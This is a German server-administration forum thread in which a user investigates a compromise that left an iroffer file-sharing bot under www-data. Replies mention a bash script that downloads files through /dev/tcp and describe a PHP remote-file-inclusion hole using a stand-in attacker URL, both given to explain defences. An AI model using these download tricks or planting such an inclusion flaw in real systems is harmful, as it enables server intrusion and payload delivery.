www-data hacked

Rund um die Sicherheit des Systems und die Applikationen
tcsoft
Posts: 29
Joined: 2006-04-16 21:58
Contact:
 

www-data hacked

Post by tcsoft »

Hallo Leute!

Ich bin vor einigen Tagen einem Angriff auf meinen Server draufgekommen.
und zwar wurde mit dem benutzer "www-data" ein verzeichnis im tmp angelegt: /var/tmp/.,
darin befand sich das programm stats "iroffer" (iroffer.org) - so ein filesharing programmchen. in einem weiteren unterordner schon ein paar files mit insg. fast 3Gigabyte! im hintergrund lief ein prozess namens "stats 11.txt".

alle dateien wurden mit dem benutzer www-data erstellt und das lässt schließen, dass der angreifer genau über diesen Benutzer zugriff erlangte - nur weiß ich nicht wie. Ists der Webserver (lighttpd 1.4.11) oder php5 (5.1.6-0.dotdeb.2). ich tippe ja stark auf php - aber wo liegt die schwachstelle? :roll: :roll:

mfg
mattiass
Userprojekt
Userprojekt
Posts: 608
Joined: 2005-12-16 17:57
 

Re: www-data hacked

Post by mattiass »

tcsoft wrote: ich tippe ja stark auf php - aber wo liegt die schwachstelle? :roll: :roll:
Anfällige Versionen eines CMS oder Boards. Bitte nutze die Suchfunktion.
tcsoft
Posts: 29
Joined: 2006-04-16 21:58
Contact:
 

Re: www-data hacked

Post by tcsoft »

Bitte nutze die Suchfunktion.
okay.....
nur dass mir die nichts nützliches bringt. weiß ja ned nach was ich suche
mattiass
Userprojekt
Userprojekt
Posts: 608
Joined: 2005-12-16 17:57
 

Re: www-data hacked

Post by mattiass »

tcsoft wrote:
Bitte nutze die Suchfunktion.
okay.....
nur dass mir die nichts nützliches bringt. weiß ja ned nach was ich suche
Was für CMS' laufen auf dem Server? Was für Boards? Welche Webmailer? Welche Administrations-Webfrontends? Mit deren Namen hier zu suchen, dürfte schon einige Ergebnisse bringen.

Hast Du die Logs schon nach auffällig langen Requests durchgegreppt?
tcsoft
Posts: 29
Joined: 2006-04-16 21:58
Contact:
 

Re: www-data hacked

Post by tcsoft »

cms-systeme laufen bei mir keine. auch keine boards. webmailer nur squirrelmail. admin-panels sowieso ned.

logs durchstöbern - ich hab mir die syslog, auth.log und die lighttpd-log access.log zu gemüte geführt. error.log hab ich mal ausglassen, weil da stehen sowieso elends viele einträge drin.

vll kannst du mir den grep suchausdruck sagen, der nach langen request filtert (nur ca.)?
djcrackman
Posts: 207
Joined: 2005-06-02 11:58
Contact:
 

Re: www-data hacked

Post by djcrackman »

Code: Select all

cat access.log | grep wget
Um mal ein Beispiel zu nennen.
tcsoft
Posts: 29
Joined: 2006-04-16 21:58
Contact:
 

Re: www-data hacked

Post by tcsoft »

cat access.log | grep wget
oh mann, danke dir. dass man nach wget suchen muss wusste ich ned. da gabs in der tat angriffe. vorwiegend mambo und phpbb wurde probiert, hab ich nicht installiert.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: www-data hacked

Post by Joe User »

Welche PHP/Perl/Python/Ruby/$interpreter-Scripte sind denn installiert?
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
tcsoft
Posts: 29
Joined: 2006-04-16 21:58
Contact:
 

Re: www-data hacked

Post by tcsoft »

PHP:
squirrelmail
ShowIt
phpMyAdmin
smarty

Perl:
mailgraph
postgrey
awstats

mehr fällt mir adhoc nicht ein.
sledge0303
Posts: 695
Joined: 2005-09-16 00:06
Location: Berlin-Reinickendorf
Contact:
 

Re: www-data hacked

Post by sledge0303 »

Ich tippe mal auf Squirrelmail...
lord_pinhead
Posts: 774
Joined: 2004-04-26 15:57
 

Re: www-data hacked

Post by lord_pinhead »

Welche Version hat awstats und ist das Tool öffentlich zugänglich oder nur nach anmeldung?
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

schon mal was von iptables gehört?
mattiass
Userprojekt
Userprojekt
Posts: 608
Joined: 2005-12-16 17:57
 

Re: www-data hacked

Post by mattiass »

Superdreadnought wrote:schon mal was von iptables gehört?
Was soll das in diesem Zusammenhang bringen?
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

erstmal alle unbenötigen ports auch unter OUTPUT auf DROP => hilf ggn sein filesharing ding.
stateful inspection (nur rauslassen, was von außen auch angefordert wurde) => ggn wget
djcrackman
Posts: 207
Joined: 2005-06-02 11:58
Contact:
 

Re: www-data hacked

Post by djcrackman »

Und wenn du mal mit wget etwas ziehen willst (Patch, Archiv, etc) dann schaust du blöd - schon lange keinen so blöden Vorschlag gehört.

Entweder ich habe einen root unter Kontrolle - oder nicht, dann sollte ich aber auch die Finger davon lassen und mich nicht blindlinks auf iptables oder Sonstiges verlassen.
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

was wollmer denn nu? sicherheit oder bequemlichkeit?
mattiass
Userprojekt
Userprojekt
Posts: 608
Joined: 2005-12-16 17:57
 

Re: www-data hacked

Post by mattiass »

Superdreadnought wrote:was wollmer denn nu? sicherheit oder bequemlichkeit?
Beides! Die "iptables" helfen begrenzt. Beispielsweise kann man verhindern, dass ein von Malware geöffneter Port erreichbar ist. Das Nachladen von Schadcode per "wget" wirst Du kaum verhindern können, weil Du so auch verhinderst, dass jemand RSS-Feeds von anderen Servern zieht. Auch die meisten anderen ausgehenden Verbindungen zu sperren beeinträchtigt legitime Dienste massiv.

Also versuche bitte, konstruktiv an der Lösung des Problems mitzuwirken, anstatt hier groß den Guru rauszuhängen.
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

ich lass nicht "groß den guru raushängen", sondern biete vorschläge. ich gebe zu, dasses übertrieben ist, gleich alles ausgehende zu blocken, aber wenn man es richtig macht, ist es ein mächtiges werkzeug.
erzähl mir zb. mal, wann ein webserver von sich aus irgendwas sendet ...

ich hatte auf meinem alten server mal probeweiße so krasse filter regeln drinnen und es hat funktioniert.
mattiass
Userprojekt
Userprojekt
Posts: 608
Joined: 2005-12-16 17:57
 

Re: www-data hacked

Post by mattiass »

Superdreadnought wrote:
erzähl mir zb. mal, wann ein webserver von sich aus irgendwas sendet ...
Es ist nicht ungewöhnlich, per HTTP-Request Feeds einzusammeln. Und es ist ebenfalls nicht ungewöhnlich, auf hohen Ports probeweise andere HTTPD-Instanzen zu starten.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: www-data hacked

Post by Joe User »

Code: Select all

#!/bin/bash

if [ $# = 0 ]; then
  echo "Usage: http-get <URL>" >&2
  exit 1
fi
URL=${1##http://} &&
SERVER=${URL%%/*} &&
FULLFILENAME=${URL#$SERVER} &&
FILENAME=${FULLFILENAME##*/}
echo -n "Fetching $SERVER$FULLFILENAME... "
(echo -e "GET $FULLFILENAME HTTP/0.9rnrn" 1>&3 &
cat 0<&3) 3<> /dev/tcp/$SERVER/80 | (
  read i
  while [ x"$(echo $i | tr -d 'r')" != "x" ]
  do
    read i
  done
  cat
) >$FILENAME
echo "done."
:roll:
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

bei mir hats auf jeden fall gut funktioniert. es wär mir aber absolut neu, wenn der httpd auf nem anderen port als 80 läuft (es sei denn es ist so konfiguriert) ...
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: www-data hacked

Post by Joe User »

Superdreadnought wrote:es wär mir aber absolut neu, wenn der httpd auf nem anderen port als 80 läuft
Du solltest Dich mal mit HTTPS und mod_proxy beschäftigen...
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

dass ssl auf 443 läuft is mir klar (wobei ich schonmal i-wie erwähnt hab, dass ich persönlich die finger von open_ssl weg lass ...) und wenn's ums proxying geht is das auch en andere sache.
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: www-data hacked

Post by rootsvr »

Die einzige Methode mit ner Firewall sicher zu gehen ist folgende:
http://home.pages.at/heaven/absolut.htm
Per iptables alles zu verbieten ist in meinen Augen nicht spo optimal, aber wenn Du damit glücklich wirst..
Superdreadnought wrote: ich hatte auf meinem alten server mal probeweiße so krasse filter regeln drinnen und es hat funktioniert.
"Krasse Regeln" Kenn so eine Sprache nur von Kiddies die sich gegenseitig krass aufs Maul hauen wollen..

Code: Select all

iptables -A INPUT   -j DROP 
hilft auch.. kein angreifer kommt durch *SCNR*

@Threadersteller: Welche Versionen von den Dingern hast Du drauf, Awstats im Interaktiven Modus ist angreifbar (gewesen?), Für Smarty gab es auch schon Schwachstellen, ältere Versionen von Squirrelmail hatten nen Bug.

Ansonsten bei selbsterstellter Webseite ist öfter mal ein include($_POST['site']) zu finden
was benutzt werden sollte um unterschiedliche Seiten darzustellen aber recht faszinierende Dinge macht, wenn stattdessen site=http://boeserserver.com/ganzboesescript.php genutzt wird (eigene Erfahrung)
superdreadnought
Posts: 13
Joined: 2006-11-02 13:56
 

Re: www-data hacked

Post by superdreadnought »

krass is ein deutsches wort (synonym: extrem) und weder kiddie noch hopper slang - glaub mir, so tief bin ich nicht gesunken, aber wenn du kein deutsch kannst ...

deine filterregeln sind vorallem dann gut, wenn man auf den server nur mit ssh drauf kommt ...
Locked